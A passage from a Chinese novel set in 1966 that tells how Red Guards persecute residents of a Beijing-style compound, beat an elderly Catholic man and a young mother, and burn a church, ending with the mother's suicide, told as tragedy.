二凤是她们学校造反组织上的一个小头头,她战斗在斗争的前线,自己带头给自己家里的人贴大字报。第一是划清界线,第二是彰显大无畏的斗争精神,第三点最重要,是可以缓解他们家遭受更严重的迫害。 二凤聪明过人,认清形势,此举势在必得。 她只把这些告诉了她的姐姐大凤,连她的父母都不知道她的葫芦里到底卖的是什么药。这事儿自己家里的人干还有一些分寸,如果让外人来干的话,那就无法预知后果如何了。 二凤领着她的小队伍雄赳赳气昂昂的来到了这个大院。她先去了八一纵队造反兵团的临时指挥部,一看这些人都是比她们小两三岁的初中学生。二凤是高中生,带的学生也都是她同年级同班的同学。自然就有些居高临下的对八一纵队的造反兵团的小头目说。我们是尖兵造反司令部的,来给住在这里检察院的检察长张子东贴大字报。并且特别声明了张子东是她父亲,她是来造她父亲的反的。 八一纵队的小头目,一听她说这些话立刻对她崇敬起来,带着极其崇拜的表情对她行了一个军礼,然后庄重的对周围的红卫兵们说。 “这才是真正的英雄。造反英雄!” 二凤带人进了里院。在里院的月亮门墙两边贴上了他们事先写好的关于张子东走资本主义道路的所谓的劣迹,经过上纲上线,贴满了整墙两端。 贴完大字报后她才进家门,看见她妈在她姐大凤的陪伴下,在屋里呆呆的坐着。二凤心领神会的给她姐一个眼色,然后招呼了一下一起跟进来的同伴。 “好了,咱们先撤吧!” 二凤带领着她的同伴撤离了大院,走到门口时看到八一纵队的领头的送了出来。忙对他们招呼:“好了,你们别送了,我们的战斗已暂告一段落,你们在这里继续战斗吧,战友们,我们还会回来的!” 居委会的张姨也闻讯跑过来,拉着二凤的手说:“好孩子呀,好孩子啊,做的对做的好啊。你放心去外面造反闹革命吧,家里你妈我们照看着,没事的,放心吧!” 二凤拉着张姨的手笑着说:“谢谢你了,张姨。敬礼!” 她给张阿姨行了一个标准的军礼。 第8章 运动(续) 接下来的日子里,大院里的形势未见缓解,并且有愈演愈烈的趋势。 整个大院除了秦义辉极少数几家没有受到冲击外,大多数都或多或少的受到了一些冲击。一开始冲击的对象是走资派。后来扩大到地富反坏右资本家小业主甚至包括天主教徒。住在外院最东头的高老头自然而然的受到了冲击。 加在他身上的罪名有好几个。里通外国间谍特务,帝国主义的走狗帮凶。竟然还有人传言说高老头与住在外院西边靠近大门住的大雅有不清不白的男女关系。这可是爆炸性新闻。这个传说立刻在整个大院传播开来。越传越多,越传越邪乎。甚至事情还波及到了大雅。说大雅生活作风极为放浪,夏天晚上不穿衣服,在家门口乘凉睡觉。竟然还有人提议去高阳老家把她追回来,揪过来批斗。 秦义辉一开始也被人追着盯论过。第一他是新搬来的。人们对他的过去不是很熟悉。第二,他是个老红军。尽管是个老干部,但早已脱离了工作岗位,又不是什么领导,只是享受国家政府给的特殊津贴。只是传说他们家出身比较高,但毕竟只是传说,他们家的底细在这个大院里也就是二凤和秦国颂知道。造反派们瞎胡思乱想,瞎猜了一阵,也只好作罢。因为他们心里都明白这个老头可不好惹。 秦国颂上初三,本来赶上今年毕业,结果学校通知应届高中和初中毕业生都要延期毕业,继续留校闹革命。 秦国颂茫然地看着学校成立的这些造反组织,他对哪个组织也不感兴趣。虽然他也参加了红卫兵,但是他不去跟他们一起去活动,他只是一心一意的想搞他自己感兴趣的科学研究。 在“破四旧立四新”的大的风潮当中,他唯一想到的就是他们家的书别被烧毁破坏。然而这一切真的随着他的愿,他们家没有受到任何冲击。 在这座大院里,里院的年纪大的资格老的大多都被打成了走资派,住在外院的就拿地富反坏右资本家小业主往他们身上靠。靠的最严重的就是外院住在最东头的高老头。给他加了一大堆莫须有的罪名。最严重的就是被扣上了利用宗教的反革命,里通外国的特务这一头衔。 高老头的悲惨命运开始…… 大凤看到院里的形势发展成这样,这样的紧张,她赶紧给大雅写信告诉她千万不要来了,院内形势发展对她实为不利。让她安心在农村老家呆着。信寄出去几天了,未见大雅的回信,大凤心里有些忐忑不安起来…… 大凤的单位工作上班也不怎么正常了,她老爸被打成了走资派,在单位属于被看管的状态。虽然也能回家,但不是那样的自由了,大凤去了单位也被人戳戳点点,弄得她也是有些灰头土脸,索性她也就不去上班了,有的时候去单位转一下露个面,然后就回来。 她丈夫黄国英参加单位的运动,经常不归家,大凤大多数时间就索性搬到她妈这边来住了。反正都是在一个院里住也方便,来来回回的也比较自然。 这一天中午吃过午饭。大凤心里正在思念着大雅那边的情况如何,好几天了也听不到大雅那边的信息。就在她心神不宁之时,忽然看到大雅抱着孩子来到了他们家。 大雅突然回来了! 大凤看到大雅劈头盖脸的第一句话就是。 “你是来送死的吗?!给你写信了,叫你不要来,不要来!你怎么偏偏就来了呢?!” 大雅惊讶地看着大凤: “我没有收到信呀?看你没给我写信,我觉得咱们这边没什么事儿了呢,我们老家农村那边就没有什么事儿,动静就不是很大。” 大凤也顾不上责怪大雅了。一把抱过大雅怀中的孩子。孩子睡着了,脸蛋上浅浅的酒窝,似乎在笑。 大凤看着睡梦中的小雅,喜欢的不能自持,连连说:“哎呀,哎呀!这孩子长得真漂亮啊,真好看,真可爱!” 她抱着小雅不肯放手了。 大雅看着大凤喜欢的那个样子,半开玩笑的对大凤说: “看你喜欢的,快累死个人了,要不然送给你得了,也让你受受罪,尝尝这个滋味!” 大凤竟然信以为真了,惊讶的说道:“真的呀?让她认我一个干妈,我带着她吧!” 大雅说:“行呀,这个干妈我们认定了!不许反悔啊?” 说完了姐俩哈哈大笑起来。完全忘掉了忽视了外面的形势。 大凤止住了笑,对大雅说:“等二凤回来我对二凤说,让她替你问一下你那房子的事,二凤也参加了学校的造反组织,她好像跟那边占你房子的那拨人能说进话去。还有居委会的张阿姨对二凤也特别好,有些事情居委会的张阿姨还很听二凤的呢。” 大雅高兴的差点跳起来。 “太好了!那就拜托二凤了,我真的好好的要谢谢你们姐俩啊!” 大凤笑着说:“快别说这些没用的了,中午饭还没吃吧?我到我妈那边给你弄点吃的去。” 大雅点了点头:“真是的,我还真的有点饿了呢。” 大凤给大雅端过来饭菜,大雅边吃边问道:“你爸那边的情况怎么样了?挨批斗了吗?” 大凤说道:“听说批了他几次,不过还好,不怎么严重,都是本单位的造反派,我爸那人平时人缘很好,得罪的人也不多。还有就是他有一年多不怎么任实质性的职务了,处在半休养的状态,所以他的处境还好一些。就是那个身肩要职的副检察长被斗的很厉害,给他挂牌子戴高帽子。我爸基本上就属于一个陪榜的。” 大雅边吃饭边听边点头:“这就好,老人家不受什么罪,这最为好。” 接着她反问了大凤一句:“你说咱们国家好端端的,怎么一下子就成这样了?!” 大凤连忙给她打了手势:“快别说了,可不能问这些!” 大雅的犟劲儿上来了:“北京那边包括全国好多老干部都被打倒了,挨批斗挂牌子戴高帽,他们工作了这么多年,难道全都错了吗?!” 大凤去夺了大雅的碗,大声说道:“叫你别说了,你非要说,不给你饭吃了!” 大雅张开双手要大凤手中的碗:“好了好了,好妹妹,我不说了,让我把饭吃完了行吗?” 大凤把碗还给大雅:“好姐姐,这些话千万不能说了,记住,什么都不要问。现在的形势可不同往常了!” 接着大凤又说道:“吃完饭你先休息一会儿,等一会儿外边的人就要轰轰烈烈的干革命了……哎哟,还有一件事忘了跟你说了,外院最东边住的高老头被抄家了,被打成了里通外国的特务反革命。这几天基本上每天都挨批斗,弄不好下午又该批斗他了。” 大雅停住了送到嘴边的饭。她惊呆的看了大凤:“天呐,天哪!我的主……” 正在睡觉的小雅忽然哇哇的哭了起来。大雅赶忙把小雅抱起来。小雅委屈的撇着小嘴大声的哭。大雅抱着小雅边哄边说: “孩子这是饿了,该喂奶了。” 她边说边撩起上衣,将奶头凑向小雅的嘴边。小雅把脸扭向一边,没有吃奶,继续大哭。 大雅又把奶头又递向小雅的嘴。小雅扭动了几下嘴,这才慢慢的含住了奶头,停止了哭声。 大雅一边给小雅喂奶一边说:“这孩子今天这是怎么了?这么长时间不吃奶了,有两三个小时了早就该饿了。” 她抬起头看了看大凤,又低头看了看吃的奶水的小雅。 大凤也凑过来看着小雅吃奶,眼角上挂着泪水的小雅安静的慢慢的吸允着奶水…… 吃完了奶,小雅瞪大了圆圆的眼睛,看着周围的陌生的环境。当她转脸看到大凤的时候,竟然咧开小嘴笑了。大凤赶紧伸出胳膊摆了个要抱抱的姿势。小雅竟然毫不陌生的把小胳膊也伸给了大凤。乐的大凤一下子就把小雅抱了过来。搂着她在她的小脸蛋上亲了一下,又亲了一下,兴奋的说道。 “我们俩有缘分,她喜欢我!” 大凤仔细的看着小雅,这孩子长得真漂亮,她像谁呢?像大雅又不全像,大凤觉得她总像一个人,又想不出她到底像谁?鼻子嘴像妈妈,可眼睛不像,大雅是媚眼。小雅长着一对圆圆的大眼睛,水汪汪的太招人喜欢了。 大凤抱着小雅逗着她玩,小雅咯吱吱的笑着。 大雅在一边看着这暖暖的场面,心里一酸又落下泪来…… 第9章 运动(续) 大凤知道大雅的心景,一边逗小雅玩儿,一边安慰大雅。 “雅姐不用担心,等二凤回来让她去给那帮人交涉。我相信二凤是会有办法的,我了解她,这丫头鬼点子太多。今天你就不要回去了,就住在我们家里。国英要是回来的话,你就住我妈那边,他要是不回来,咱们俩就在这边,就在这屋住,好吗?” 大雅擦了擦眼泪:“好妹妹,你待我真好,我不会在这里住太久的,一两天,如果我的房子落实不了的话,我们娘俩就回去回老家那去等信儿。” 大凤抢着说道:“多待两天吧,来一趟挺不容易的,再说我真喜欢这孩子,我舍不得让她一下子就离开我,我想多抱着她玩几天。” 大雅故意嗔怪的说道:“哦,闹了半天你不是想留住我,是想留住她呀?哎呀,感情我还不如个孩子呢。” 大凤笑了,大雅也跟着笑了,抱在大凤怀里的小雅也笑了…… 忽然屋内的温馨被外院传来的一阵嘈杂骚乱打破了。骚乱中夹杂着几声叫喊。 “把他拽到外边来!让他跪在厕所门口!躲在屋里装什么死啊,狗特务!在教堂里你为那些洋主子效力的时候是现在这副德行吗?!……” 这些嘈杂的声音非常的刺耳。大凤大雅在屋里听得清清楚楚。大凤急忙说道: “他们这是又要批斗高老头了,你在屋里呆着别动,我出去看看!” 大凤说完出了屋,把屋门关上。从里院穿过月亮门来到了外院。只见高老头的门口前一片骚乱,几个穿着绿色军装的红卫兵在高老头的门前叫喊着。他们手中挥舞着武装带,表情严肃义愤填膺。 外院里有好多人站在观看,人群中有居委会的张阿姨,她也是无可奈何,神色紧张的看着这些年轻人的暴力行动。 大凤走到张阿姨跟前,眼睛却看着高老头住的房屋门口那边。张阿姨看了大凤一眼小声说道。 “这老头不知造了什么孽,怎么没完没了这么批斗?听说老头两三天不吃东西了,不会死到屋里吧!” 大凤没有回答,只是眼睛一直盯着高老头屋门那个方向,看着门前事情进展的动向。 这时候秦国颂也从屋里出来了,他站到了张阿姨与大凤身边,注视着高老头屋子那边的事情的发展。 忽然高老头屋门口那边一阵骚动,几个红卫兵把高老头拖出了屋外,高老头几乎一丝未挂,下身只穿了一个裤头,白白的身躯暴露在烈日的阳光下。 批斗他的人强迫他跪下。此时的高老头连坐都坐不下了,只能靠在门框旁边,半趴半躺着喘着气,闭着眼睛,浑身是汗。 这时一个拿着武装带的红卫兵站在他跟前。怒吼着对他喊道: “别以为你装死就可以饶了你,快说!电台在哪里?电台密码在哪里?!” 高老头微微的睁了睁眼睛,摇了摇头。 “啪”的一声,武装带狠狠的抽在了他的额头上。高老头的额角立刻就留下了鲜血。 “啪”的又一声打在了高老头的身上。高老头挣扎着靠着门框坐正了些,用手向屋内指了指,声音微弱的说: “在,在那本圣经里……” 有人去屋内拿出了那本圣经。把圣经扔到高老头的面前。 “老东西!你说在哪里?这本狗屁经我们都翻了好几回了,里面什么也没有!今天你要找不出来,就打死你!如果不是拿这本圣经作为你的罪证的话,我们早把它烧了,让它上西天了!” 高老头哆哩哆嗦的拿过圣经,抱在了怀里头,用手抚摸着圣经,嘴里念念有词。 “我们在天的父,愿人都称你为圣,愿您的旨意行在地上,如同行在天上……” “啪”的又一声。皮带打在高老头的身上:“你他妈的老混蛋,还在散步反动言论。打不死你!” 有人夺过那本圣经,边撕扯边嚷。 “反动流毒,拿火来给他烧了!” 这时有人带头喊起了口号。 打倒反革命! 打倒汉奸特务! 砸烂投敌叛国的狗头! 打倒披着宗教外衣的祸国殃民的敌特分子! 满嘴仁义道德,一肚子男盗女娼! ………… 打倒狗屁经文! 残害中国妇女,乱搞男女关系! 十恶不赦,罪有应得! ………… 口号越喊越烈,内容越喊越多,似乎不把人世间的所有罪恶都强加给这个老头身上是不肯罢休的。一些不明真相的人气得咬牙切齿。于是皮带拳脚如雨点般的倾泻在高老头的身上。 高老头一声不吭,此时他已经没有力气喊出声音来了,只见他口中哆嗦着发出微弱的声音。 “上帝呀,我的上帝……” 住手!!! 一声刺耳尖利的呐喊,震撼了这血腥的空气。 一个女人的声音,一个听起来像是视死如归的声音,一个声嘶力竭从胸膛中吼出来的声音,一个似乎是要拼掉全身性命在冰冷中浇了一盆滚烫开水的声音,在人群中炸裂开来! 这个像死人一般没有一点血色的女人的面孔,怒视着这群殴打高老头的年轻人。 她是大雅! 现场所有的人被这声嘶力竭的一声呐喊惊呆了。 时间凝固了,也就是几秒钟,所有人的目光齐刷刷的投向这个走进人群的女人。这个女人如同仙女一样的飘然而至。神态从容淡定。她的目光怒视着殴打高老头的那几个年轻人,径直的走向高老头的身旁。她俯下身去用手帕去擦高老头额头上涌出的鲜血。轻声的呼唤着他。 “高爷爷,高爷爷……” 高老头微微的睁开了眼睛,只看了一眼眼前这个女人,一下子就把眼睛瞪大了。柔和的眼光里没有一丝恐惧,那慈祥而仁爱的目光中浸透着温暖。 高老头缓缓的点了点头,微微的张了张嘴,两滴眼泪顺着眼眶慢慢的涌了出来。 “玛利亚……”高老头微弱的声音从龕动的嘴唇里发出。 “大雅?!”人群中有人发出声音,这声音似乎是在惊讶又或许是在疑问。 “大雅?!真的是她?!” “她是怎么来的?没人看到她?她是从天上掉下来的吗?!” “有一年多了吧,没看到她了。” “她来干什么?是想要回占了她的房子吗?” 人群中有人小声的议论着…… 大凤自从听到那一声尖利的凄厉的叫喊到目前她看到的这个景色为止她的耳朵嗡嗡作响只看到人影在晃动看不清人们在干什么她呆滞的站在原处脑子里一片空白(这是大凤此时的精神状态,原谅作者没有加标点符号)一片混乱。 这时几个在殴打高老头的人全都下意识的停止了动作,他们齐刷刷的把目光盯向了大雅。 领头的那个人上前一把把大雅拽了起来,怒吼着盯着她问道: “你是谁?干什么的,你他妈哪儿来的?!” 旁边有人大声喊道: “她叫大雅,咱们指挥部的房子就是占着她的,这也是个阶级敌人!女流氓。” “是的没错,这是个女流氓女破鞋!经常晚上半夜三更的光着屁股在她家门口睡觉!” 这一声喊可不要紧,人群里嗡的一下炸开了锅。 “她也信教!咱们在她屋里发现了好多封资修方面的书,她屋里还有圣经!” “这是个地地道道的反动分子!” 人群中呐喊着。 “打倒反动分子!打倒反革命!” “送上门来了,连她一起批斗!问问她和这个老东西这个老特务是什么关系!” “老实交代,与这个老特务老间谍是什么关系?!” 秦国颂惊讶的看着眼前发生的这一切,他走近了过去,仔细端详的大雅。不认识,没见过。他心里想着这院里的事情也真奇了怪了,又出来一个半夜三更光屁股的女人,他心里清楚那个半夜三更光屁股出来夜游的女人不是这个人,他见过的,那个人是大凤。 大凤神色迷离,木然的看着眼前发生的这一切。嘴里喃喃的自言自语道: “她完了,大雅完了……” 第10章 运动(续) 这时秦国颂走近大凤:“二凤要是在这里情况也许会好一些。她是革命组织里的人,还是个小头目……” 就在大凤迷迷糊糊的还不知道要说什么好的时候。耳边传来一声尖利的呼喊。 “革命小将们!这个贱女人和这个老特务是一伙的,他们和党内那些死不改悔的走资派都是一伙的,要让他们尝尝革命铁拳的厉害!打!” 就这一声喊,皮带拳脚相加,劈头盖脸地倾斜在大雅身上。大雅趴在高老头身上一动不动。咬紧牙关一声不吭的承受着拳脚皮带雨点般的落在自己的身上。 打人者从未见过这样的被打者。如果被打者反抗或者痛哭或者哀嚎或者求饶,打人者还能从被打者的反应中刺激起打人的欲望,加重他们打人的手段,然而这次这个被打者就如同死人一样没有任何反应。皮鞭和拳脚落到被打者身上被打者的肌肤只是本能的震颤一下,然后就悄然无声的等待下一次雨点般的打击降落。打人者的拳脚和皮带好像落到了棉花上一样,等到打累了便索然无味的停下了手。 这是一个打人者俯下身去用手去拉大雅的身子,大雅死死的抱着身下的高老头,打人者又用手去搬弄大雅的脸。大雅怒目圆睁的抬起了脸,咬破了的嘴唇流着血。面目狰狞可怕。打人者吓得倒退一边。大雅下身穿一件绿色的军裤,上身穿一件白色的衬衫,她的后背屁股以及腿部慢慢的渗出了血迹。 又有人高喊一声。 “把她拽起来!脱了她的衣服示众。女流氓女破鞋!” “把头发给她剪了,让她臭美!” 这是过来人一把揪住大雅的头发使劲往后一拽。大雅的整个头发一下子被拽了下来。露出了白白的光秃秃的脑壳。 众人啊的一下,一阵惊呼。 “原来她的头发是假的?!她戴的是假头套!” “嗡”的一声在人群中炸开了锅。就这一声嗡里夹杂着耻笑,夹杂着惊讶,夹杂着奇怪,夹杂着幸灾乐祸…… 有人拿着她的头套扔向天空,头套落在地上,他们用脚踩,再拎起来再扔向天空…… “魔鬼!”有人愤怒的喊着。 大风嗷的一声感觉眼前一阵发黑,歪歪斜斜的倒在了地上,她身旁的秦国颂赶紧把她扶住,晃动着她叫道: “大凤姐,大凤姐醒醒!” 旁边的几个人也赶紧过来围着大凤喊着她的名字。张阿姨扶着大凤,让秦国松赶紧去端一杯水来,一边呼唤了大凤一边说。 “她这可能是中暑了,来几个人把她抬到屋里去!” 人们七手八脚的把大凤抬到了大雅以前住的屋里。这间现在的临时造反指挥部收拾的还算整洁,屋里的床被搬出去了,有一张大桌子靠近后窗的位置,人们把大凤抬到桌子上。 秦国颂拿来水,大凤渐渐的苏醒了,张阿姨接过水递到大凤的嘴边,大凤呡了一口水,眼泪扑簌簌的躺了下来…… 秦国颂看大凤苏醒了,安慰了大凤几句,转身离开。要去看看大雅那边的事态发展的怎样。 他刚跨出屋门就看到二凤风风火火的带着几个人冲入大院。他忙对二凤说: “快!快去到那边看看大雅,大雅快被打死了!姐没事儿,刚,刚才虚脱了,现在好了……” 二凤进屋安慰了大凤几句。跟着秦国颂来到大雅和高老头这边。 这里惊悚的一幕正在继续上演。 大雅仍然趴在高老头身上。有人拿墨汁在她身上和光头上乱涂抹着,旁边的人喊着口号,有的人还在起哄。 二凤上前把人们推开,大声的吼道: “你们这些混蛋!为什么这样对待一个无辜的人?她是谁?你们认识吗?她是走资派吗?她是反革命吗?!不问青红皂白,你们就这样对待一个无辜的人,你们这是革命吗?!” “她和狗特务是一条线上的人,她保护那个老混蛋,她风流成性,她是一个女流氓破鞋!” “你们有什么证据?!” “她晚上光着屁股在她家门口睡觉,这证据还不够吗?” 她光着屁股在外面睡觉,你们谁看见了?说!你们谁看见了?!” 这一声质问没有人言语了。 “我们只是听说的。”有人小声的回答。 “造谣!你们听信谣言,你们这是革命吗?你们这是造反吗……我们斗争的矛头是党内的走资派,不是这些无辜的群众!同学们啊,战友们,不能扭转斗争的大方向啊。” 二凤转身对着这群造反派的头领说。 “你们比我们小几岁,有些事情看的还不是很清楚,咱们不要胡来,不冤枉一个好人,也绝不放过任何一个坏人。我说的对吗?” 那个比二凤小几岁的小头领点点头,表情严肃的对二凤说: “这样吧,有些事情我们确实弄得不是很清楚,你们比我们大几岁,比我们经历的多,但咱们是同一个战壕的革命战友,咱们联合起来闹革命,我们听你们的。” 说着他给二凤行了一个军礼。二凤也回敬了一个军礼表示接受。 二凤吩咐道:“好吧,阶级敌人我们一定要毫不留情地进行批斗,但这受蒙蔽的我们要区别对待。毛主席教导我们:谁是我们的敌人,谁是我们的朋友?这个问题是革命的首要问题……这一政策我们一定要好好的掌握。咱们可不能干亲者痛仇者快的事情啊。” 此时大凤被张阿姨搀扶着走了过来,大凤流着眼泪对二凤说。 “她,她还带着孩子呢……” “孩子?什么孩子?”二凤迟疑的问道。 大凤哭着说:“孩子才几个月,就在咱们家呢……” 人群中突然有人喊了一句。 “把破鞋的狗崽子抱出来,让他也见见世面!” 二凤瞪了一眼人群中喊的那个人。大声斥责道。 “才几个月的孩子,你们还有人性吗?!” 二凤又对大凤说:“孩子在哪儿?带我去看看!” “在我那儿了,这么长时间了,早饿坏了,走快去!” 大凤领着二凤向里院走去。 就在这时,院里传来一声喊: “红色风暴的造反组织带人去砸天主教堂了!我们这边派一些人过去支援!” “八一纵队的学生们,你们这边也派几个人过去! “是!马上出发!” 刚进屋的大凤二凤两个人在屋里听得清清楚楚。 “要去砸天主教堂?” 二凤点了点头:“可能是。我们也听到消息了,没想到竟然来的这么快。” 大凤抬头看了看屋里的表,下午5:00,她赶紧对二凤说。 “你看,孩子哭得这么厉害。肯定是饿坏了。你快出去给他们说一下,把大雅弄进来。让她先给孩子喂奶。” 她边说边递给了二凤一条毛巾。 “给她擦擦脸上的血和墨汁……”大凤流着泪说不下去了。 二凤拿着毛巾跑了出来。她刚穿过月亮门,就听到外院的人在吩咐着。 “留下几个人在这里看守,其余的人跟我在一起,咱们直奔天主教堂,去协助造反的革命战友,砸天主教堂去!” 这时有人提议到:“把这两个人也带过去,让他们一起跟着批斗,看看他们的主子的末日的到来,让他们尝一尝跟着外国主子卖命的下场。” 又有人喊道。 “把那辆小排子车推过来。老特务走不动了,拉了他也要让他去在那里陪榜!” 二凤过来赶紧说:“把这个女的留下,她有孩子,孩子要吃奶。” 人群中又有人喊道。 “女破鞋女流氓的孩子还吃什么奶?饿死以后给国家省粮食了!” 这时大雅缓缓的从高老头身上爬起来,转身对二凤说。 “我要跟他一起去!把孩子抱过来,喂完奶。我跟他一起去天主教堂。” 她接了二凤递过来的毛巾,擦了擦脸上的血迹和墨迹。扭过头去四处找她的假头套,假头套早已不知去向。她拿着擦完脸的毛巾裹在了头上。含着眼泪央求着二凤。 “从现在起,我就和他寸步不离,死也要死到一起!” 她俯下身去亲了一下高老头的额头,眼泪流了出来。这是我们看到大雅第一次流泪。 “我的父……”大雅的嘴里喃喃的说出了这一句。 高老头的脸上浮出了笑容,我们也是第一次看到高老头的笑…… 大雅抬起脸看着二凤,她擦了擦泪水,对二凤央求道。 “好妹妹,去把孩子抱来,我给她喂奶……” 二凤努力的控制着自己的眼睛,没有让眼泪流了下来。她点了点头跑回大凤的屋。 大凤抱着小雅来到大雅面前,把小雅递到大雅的怀中。大雅接过孩子亲了一下孩子的小脸蛋,微笑着对旁边的高老头说。 “我的父,这就是小雅,你睁开眼睛看看……” 高老头努力的睁大眼睛,看着大雅怀中的小雅,微微的笑了。 他用颤抖的手在小雅的额头上画了十字,用微弱的声音祝福到。 “保佑你。阿门……” 大雅缓缓的撩开衣襟,把奶头送到小雅的嘴边。小雅含着奶头用力的吸允着奶汁,睁开眼睛看着面前有些熟悉又有些陌生的那些脸,眼里露出笑意。小小的生命觉得这世界真甜美…… 旁边看着的人没有大声说话,有的人在小声议论着互相猜测着,他们看着大雅,看着小雅,看看高老头,这三人到底是什么关系呢?人们现在最大的兴趣恐怕就是这些了,好奇心占据了一切。 大雅抱着小雅在喂奶。小雅吃奶的姿态以及她们母女的表情,让人们在瞬间,仅仅是瞬间吧感觉到了人间还有幸福……幸福是个什么玩意儿?为什么只会在瞬间出现?……写到这里,读者请原谅。作者这时迫不得已的把时钟调慢,想让这一刻平常的不能再平常的画面,在这种特殊的时代,特殊的时期,特殊的时候—— 停滞…… 让她们母女二人,不!还有第三个,还有更多的良心没有被泯灭,人性还健全的在场的所有人,一起欣赏这悲壮而温馨的画面。 我们好想让这幅画面不再活动,定格凝固在时间的永恒之中…… 此时大雅和小雅温暖的脸甜蜜的在阳光中绽放。 第11章 运动(续完) 幸福的画面不会因我们的意志而停滞,它会随着时钟滴答滴答的响声而匆匆逝过,从而继续给我们演绎它的不幸…… 秦国颂紧挨着二凤,小声对二凤说道。 “夜晚光屁股在大院里行走的女人不是她。” 二凤凝视着秦国颂点了点头。 “我知道那个人是谁。我见过……”秦国颂肯定的说。 二凤瞪圆的眼睛:“谁?!” 秦国颂摇了摇头:“不能说!” 二凤说:“我不知道是谁,但肯定不是她。”二凤的眼睛转向大雅。 “嗯,这,可是这……她太冤枉了……”秦国颂惋惜地说道。 二凤盯着秦国颂说道:“那你揭发出来那个人到底是谁?咱们把大雅救出来!” 秦国颂摇了摇头,脸憋得通红。 “不能再伤害另一个人了,顺其自然吧。”他用手指了指大雅。 “看,这有多惨……” 这时造反的红卫兵们把推车推了过来。有人把大雅怀里的小雅抱了过来,递给二凤,小雅哭着要找妈妈,大凤从二凤手中接过了小雅,抱着她哄着,小雅止住了哭声。 此时的高老头已经差不多奄奄一息了。大雅也走不动了。 人们七手八脚的把高老头抬着扔到了车上。大雅被人们连抬带拽的扔上了车。人们簇拥着车喊着口号,把车推向院外,院外的高台街上面已经有人搭上了木板,小推车顺着木板滑到了院外,人们簇拥着小车高喊着口号,来到了天主教堂院外的大门口。 天主堂的大院里聚集了乌泱泱的人。人们高喊着口号呐喊着欢呼着从教堂的大门里进进出出。场面混乱而嘈杂。 人们从教堂里往外搬东西。风琴,钢琴,桌椅板凳,蜡烛,服装圣像,还有红酒……凡是教堂里的东西统统搬出来,堆到院中央。太多的东西把院中央堆成一座小山一样。 教堂里的神父与修女都被揪了出来。神父和修女们脸苍白无色,高举着双手哆哆嗦嗦的跪在了堆成小山的物品旁边。 人们把高老头和大雅推到了神父和修女们的旁边,让大雅跪到神父旁边,把高老头抬下来扔到大雅身边。 造反的红卫兵们高喊着口号,唱着革命歌曲进行着他们的革命行动。 二凤和秦国颂也跟了过来,他俩站在大雅他们身旁的不远处,静静的看着这场运动的发展。 有的人冲到大雅他们跪的地方往他们身上吐口水,说脏话,义愤填膺的喊着口号。 秦国颂对二凤说:“你先在这看吧,我进教堂去看看里面什么情况,一会儿我就出来了。” 二凤点了点头:“一会儿出来啊,不然又找不到你了。” 秦国颂答应着,向教堂门口跑去。 时间对于每个人来说真的是不平等,有的人感觉每分钟飞梭如电,有的人感觉就是如坐针毡,度日如年…… 火红的夕阳染红了天主教堂,染红了整个天主教堂的院落。染红了院落里的人们的膨胀的脸。染红了跪在大院外面那几个孤零零的人的惨白…… 忽然天主教堂顶上发生了一阵骚乱。一声清脆的枪声把教堂下面院落里的人们的目光齐刷刷的吸引到上面。吸引到教堂顶端两个半圆形穹窿中间的那个十字架上。那十字架上趴着一个人! 站在院外的二凤向天主教堂顶端看着。她抬着头,眯着眼睛仔细的看那个人。她看清了。在十字架上的那个人,是秦国颂! 吓得二凤张大了嘴,大气都不敢出一下。她目不转睛的看着十字架上的秦国颂。忽然也不知道她哪儿来的勇气和力量。大喊了一声。 “秦国颂!注意安全!” 在天主教堂顶端爬在十字架上的秦国颂听到了她的喊声。俯着身向她摆了摆手。然后就旁若无人的继续着他在十字架上的行动。 天色慢慢的黑了下来,有人提议把堆在天主教堂院外的东西点火烧毁。人们高呼万岁,砸烂旧世界,铲除一切害人虫! 有的人抬过来几箱的蜡烛,把蜡烛碾碎撒在堆在外面的物品上,然后用火点燃。大火很快就燃了起来了,并且越烧越旺。 人们继续从教堂里抬出可以燃烧的东西往火堆上扔,火堆越堆体积越大,映红了天主教堂大院,映红了半边天。 人们把大雅神父修女驱赶到了离火堆远一点的地方。没有人去管高老头。把高老头弄到教堂的那些红卫兵们早已不见了踪影。他们都冲进教堂去打砸了。这时的高老头已经处于昏迷的状态。大雅试图把高老头往火堆远处拽,她此时已经完全没有一点力气能拽得动高老头了,索性又趴在了高老头身上。人们七手八脚的把她从高老头身上抬开,并且用绳子绑住了她的双手。她声嘶力竭的喊着,直到喊不出声音来,她眼看着高老头浑身被火焰映的通红,火堆越来越近,向高老头身边蔓延过来,大雅慢慢的失去了知觉,昏了过去…… 天主教堂院中央的这堆大火山烧了整整一夜。 天蒙蒙亮了,人们都陆陆续续的散了。大雅用牙撕咬开了绑在自己手上的绳子,她试图在努力的寻找高老头的影子,除了仍在燃烧的火堆里噼噼啪啪的响声外,高老头早已丧生在人们不断添加燃烧物品的火堆之中…… 大雅挣扎地走出天主教堂大院门外。借着黎明的曙光跌跌撞撞的扶着墙走回了她住的那座大院。 进院后命运的驱使她习惯了转身进了自己的小屋。屋门开着,屋内空无一人,她关上门坐在屋内的桌子旁边。看到桌子上放着一个吃饭的碗,她拿碗舀了一碗桶里的凉水,咕咚咕咚的喝了下去。喝完水擦了擦嘴,看到桌上有一张写大字报剩下的纸,她撕下一条纸,顺手捡起桌上的半支铅笔,写下了几个字。 我走了,跟着我的天父回家了。请好心人照顾好小雅。叩拜了!1966年8月28日。 她把头上的毛巾解了下来,放到水桶里洗涮干净,仔细的擦了一把脸,又把湿毛巾裹在头上。在屋里寻找到了一根绳子,把绳子拴到后窗户框上挽了一个活结,把头钻入套中,站在窗户台上,面对着窗外的桑树,双脚跳下了窗户…… 人啊,你本来是泥土,最终将回到泥土之中…… 第12章 信仰 信仰是指个人对某种思想,宗教追求或某人某物的坚定信奉和敬仰。信仰可以分为人生的信仰,宗教的信仰和政治的信仰等不同类别。——无名 我们回过头来再来描述一下秦国颂冲入教堂时的情景。 秦国颂冲入教堂后看到的景色只能用震撼两个字来形容。他先是呆呆的停顿了片刻。让他的眼睛和头脑先适应一下里面的混乱。此时的教堂内灯火通明,喊声打砸声混成一片,人群一股一股地涌入教堂,涌入教堂的人们有的立刻就会被里面的气氛感染,本能的加入到这场混乱之中。有的就如同秦国颂一样呆呆的先看一会儿。然后很快就被传染见东西就砸见东西就摔。教堂两边墙上的彩色玻璃窗被人们用投掷物一一打碎。随着涌入的人群越来越多,喊声震天,人们砸烂圣象,毁坏墙壁两边的圣画,用墨汁墨水胡乱的涂抹墙壁。愤怒的人群吼叫着发泄着心中的怒火,挥舞着手中的铁锹棍棒,把旧世界彻底砸烂,铲除干净。 